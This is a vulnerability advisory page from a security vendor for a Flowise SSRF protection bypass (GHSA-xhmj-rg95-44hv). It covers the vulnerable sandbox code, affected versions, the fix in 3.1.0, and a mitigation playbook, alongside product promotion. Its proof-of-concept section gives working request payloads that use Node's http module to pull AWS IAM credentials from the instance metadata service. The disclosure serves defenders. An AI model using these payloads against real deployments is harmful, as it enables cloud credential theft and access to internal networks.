Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-xhmj-rg95-44hv

HIGH

GHSA-xhmj-rg95-44hv is a high-severity (CVSS 7.1) vulnerability in flowise. O3 Security confirms whether GHSA-xhmj-rg95-44hv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox

Also known asCVE-2026-41270
Published
Apr 16, 2026
Updated
May 5, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

flowisenpm
4Kdownloads / week
flowise-componentsnpm
4Kdownloads / week

Description

Summary

A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)

Details

The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts

Vulnerable Code - Allowed Built-in Modules (Line 56):

export const defaultAllowBuiltInDep = [
    'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
    'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]

SSRF Protection Implementation (Lines 254-261):

// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch

const defaultNodeVMOptions: any = {
    // ...
    require: {
        builtin: builtinDeps,      // <-- http, https, net allowed here
        mock: secureWrappers       // <-- Only mocks axios, node-fetch
    },
    // ...
}

Root Cause:

  • The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST
  • The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection
  • Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls

Affected File: packages/components/src/utils.ts

Related Files:

  • packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers
  • packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code
  • packages/server/src/services/nodes/index.ts - Service layer executing the code

PoC

Prerequisites:

  1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)
  2. Valid API key or authenticated session
  3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached

Verify SSRF Protection is enabled (expect a block message by policy)

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}

Response:

{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}

Bypass SSRF Protection using built-in http module

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}

Response:

{
  "Code": "Success",
  "LastUpdated": "2026-01-08T11:30:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-01-08T17:30:00Z"
}
<img width="1638" height="751" alt="image" src="https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6" /> <img width="1633" height="986" alt="image" src="https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77" />

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass

Who is Impacted:

  • All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection
  • Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method

Impact Severity:

  1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources
  2. Scan internal networks, discover services, and identify attack targets
  3. Reach databases, admin panels, and other internal APIs that should not be externally accessible

Attack Requirements:

  • Authentication required (API key or session)
  • Network access to Flowise instance

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowiseall versions3.1.0
📦npmflowise-componentsall versions3.1.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xhmj-rg95-44hv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xhmj-rg95-44hv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xhmj-rg95-44hv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services) ### Details The vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts` **Vulnerab
O3 Security · Impact-Aware SCA

Is GHSA-xhmj-rg95-44hv in your dependencies?

O3 detects GHSA-xhmj-rg95-44hv across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.